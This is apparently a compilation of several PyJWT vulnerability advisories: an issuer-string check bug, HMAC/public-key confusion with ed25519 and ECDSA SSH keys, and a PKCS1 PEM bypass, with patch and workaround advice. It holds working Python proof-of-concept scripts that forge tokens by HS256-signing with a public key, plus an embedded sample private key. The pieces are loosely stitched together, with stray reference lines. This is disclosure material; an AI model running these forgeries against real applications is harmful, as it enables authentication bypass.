- RFC 7515 §4.1.11 - CVE-2025-59420 — Authlib crit bypass (CVSS 7.5) - RFC 7800 — Proof-of-Possession Key Semantics

pyjwt v2.10.1 was discovered to contain weak encryption. NOTE: this is disputed by the Supplier because the key length is chosen by the application that uses the library (admittedly, library users may benefit from a minimum value and a mechanism for opting in to strict enforcement).

Summary The wrong string if check is run for iss checking, resulting in "acb" being accepted for "abc".

Details This is a bug introduced in version 2.10.0: checking the "iss" claim changed from isinstance(issuer, list) to isinstance(issuer, Sequence).

diff - if isinstance(issuer, list): + if isinstance(issuer, Sequence): if payload["iss"] not in issuer: raise InvalidIssuerError("Invalid issuer") else:

Since str is a Sequnce, but not a list, in is also used for string comparison. This results in if "abc" not in "abcd": being checked instead of if "abc" != "abc":. PoC Check out the unit tests added here: https://github.com/jpadilla/pyjwt-ghsa-75c5-xw7c-p5pm python issuer = "urn:expected"

payload = {"iss": "urn:"}

token = jwt.encode(payload, "secret")

# decode() succeeds, even though "urn:" != "urn:expected". No exception is raised. with pytest.raises(InvalidIssuerError): jwt.decode(token, "secret", issuer=issuer, algorithms=["HS256"])

Impact

I would say the real world impact is not that high, seeing as the signature still has to match. We should still fix it.

Impact What kind of vulnerability is it? Who is impacted?

Disclosed by Aapo Oksman (Senior Security Specialist, Nixu Corporation).

PyJWT supports multiple different JWT signing algorithms. With JWT, an attacker submitting the JWT token can choose the used signing algorithm. The PyJWT library requires that the application chooses what algorithms are supported. The application can specify "jwt.algorithms.getdefaultalgorithms()" to get support for all algorithms. They can also specify a single one of them (which is the usual use case if calling jwt.decode directly. However, if calling jwt.decode in a helper function, all algorithms might be enabled.) For example, if the user chooses "none" algorithm and the JWT checker supports that, there will be no signature checking. This is a common security issue with some JWT implementations. PyJWT combats this by requiring that the if the "none" algorithm is used, the key has to be empty. As the key is given by the application running the checker, attacker cannot force "none" cipher to be used. Similarly with HMAC (symmetric) algorithm, PyJWT checks that the key is not a public key meant for asymmetric algorithm i.e. HMAC cannot be used if the key begins with "ssh-rsa". If HMAC is used with a public key, the attacker can just use the publicly known public key to sign the token and the checker would use the same key to verify. From PyJWT 2.0.0 onwards, PyJWT supports ed25519 asymmetric algorithm. With ed25519, PyJWT supports public keys that start with "ssh-", for example "ssh-ed25519".

python import jwt from cryptography.hazmat.primitives import serialization from cryptography.hazmat.primitives.asymmetric import ed25519

Generate ed25519 private key privatekey = ed25519.Ed25519PrivateKey.generate()

Get private key bytes as they would be stored in a file privkeybytes = privatekey.privatebytes(encoding=serialization.Encoding.PEM,format=serialization.PrivateFormat.PKCS8, encryptionalgorithm=serialization.NoEncryption())

Get public key bytes as they would be stored in a file pubkeybytes = privatekey.publickey().publicbytes(encoding=serialization.Encoding.OpenSSH,format=serialization.PublicFormat.OpenSSH)

Making a good jwt token that should work by signing it with the private key encodedgood = jwt.encode({"test": 1234}, privkeybytes, algorithm="EdDSA")

Using HMAC with the public key to trick the receiver to think that the public key is a HMAC secret encodedbad = jwt.encode({"test": 1234}, pubkeybytes, algorithm="HS256")

Both of the jwt tokens are validated as valid decodedgood = jwt.decode(encodedgood, pubkeybytes, algorithms=jwt.algorithms.getdefaultalgorithms()) decodedbad = jwt.decode(encodedbad, pubkeybytes, algorithms=jwt.algorithms.getdefaultalgorithms())

if decodedgood == decodedbad:     print("POC Successfull")

Of course the receiver should specify ed25519 algorithm to be used if they specify ed25519 public key. However, if other algorithms are used, the POC does not work HMAC specifies illegal strings for the HMAC secret in jwt/algorithms.py invalidstrings = [ b"-----BEGIN PUBLIC KEY-----", b"-----BEGIN CERTIFICATE-----", b"-----BEGIN RSA PUBLIC KEY-----", b"ssh-rsa", ] However, OKPAlgorithm (ed25519) accepts the following in jwt/algorithms.py: if "-----BEGIN PUBLIC" in strkey: return loadpempublickey(key) if "-----BEGIN PRIVATE" in strkey: return loadpemprivatekey(key, password=None) if strkey[0:4] == "ssh-": return loadsshpublickey(key) These should most likely made to match each other to prevent this behavior

python import jwt

#openssl ecparam -genkey -name prime256v1 -noout -out ec256-key-priv.pem #openssl ec -in ec256-key-priv.pem -pubout > ec256-key-pub.pem #ssh-keygen -y -f ec256-key-priv.pem > ec256-key-ssh.pub

privkeybytes = b"""-----BEGIN EC PRIVATE KEY----- MHcCAQEEIOWc7RbaNswMtNtc+n6WZDlUblMr2FBPo79fcGXsJlGQoAoGCCqGSM49 AwEHoUQDQgAElcy2RSSSgn2RA/xCGko79N+7FwoLZr3Z0ij/ENjow2XpUDwwKEKk Ak3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw== -----END EC PRIVATE KEY-----"""

pubkeybytes = b"""-----BEGIN PUBLIC KEY----- MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAElcy2RSSSgn2RA/xCGko79N+7FwoL Zr3Z0ij/ENjow2XpUDwwKEKkAk3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw== -----END PUBLIC KEY-----"""

sshkeybytes = b"""ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJXMtkUkkoJ9kQP8QhpKO/TfuxcKC2a92dIo/xDY6MNl6VA8MChCpAJN0w1wvVPJ4qTJRnGO7A6V6dl8oRxDPkc="""

Making a good jwt token that should work by signing it with the private key encodedgood = jwt.encode({"test": 1234}, privkeybytes, algorithm="ES256")

Using HMAC with the ssh public key to trick the receiver to think that the public key is a HMAC secret encodedbad = jwt.encode({"test": 1234}, sshkeybytes, algorithm="HS256")

Both of the jwt tokens are validated as valid decodedgood = jwt.decode(encodedgood, sshkeybytes, algorithms=jwt.algorithms.getdefaultalgorithms()) decodedbad = jwt.decode(encodedbad, sshkeybytes, algorithms=jwt.algorithms.getdefaultalgorithms())

if decodedgood == decodedbad: print("POC Successfull") else: print("POC Failed")

The issue is not that big as algorithms=jwt.algorithms.getdefaultalgorithms() has to be used. However, with quick googling, this seems to be used in some cases at least in some minor projects.

Patches

Users should upgrade to v2.4.0.

Workarounds

Always be explicit with the algorithms that are accepted and expected when decoding.

References Are there any links users can visit to find out more?

For more information If you have any questions or comments about this advisory: Open an issue in https://github.com/jpadilla/pyjwt Email José Padilla: pyjwt at jpadilla dot com

In PyJWT 1.5.0 and below the invalidstrings check in HMACAlgorithm.preparekey does not account for all PEM encoded public keys. Specifically, the PKCS1 PEM encoded format would be allowed because it is prefaced with the string -----BEGIN RSA PUBLIC KEY----- which is not accounted for. This enables symmetric/asymmetric key confusion attacks against users using the PKCS1 PEM encoded public keys, which would allow an attacker to craft JWTs from scratch.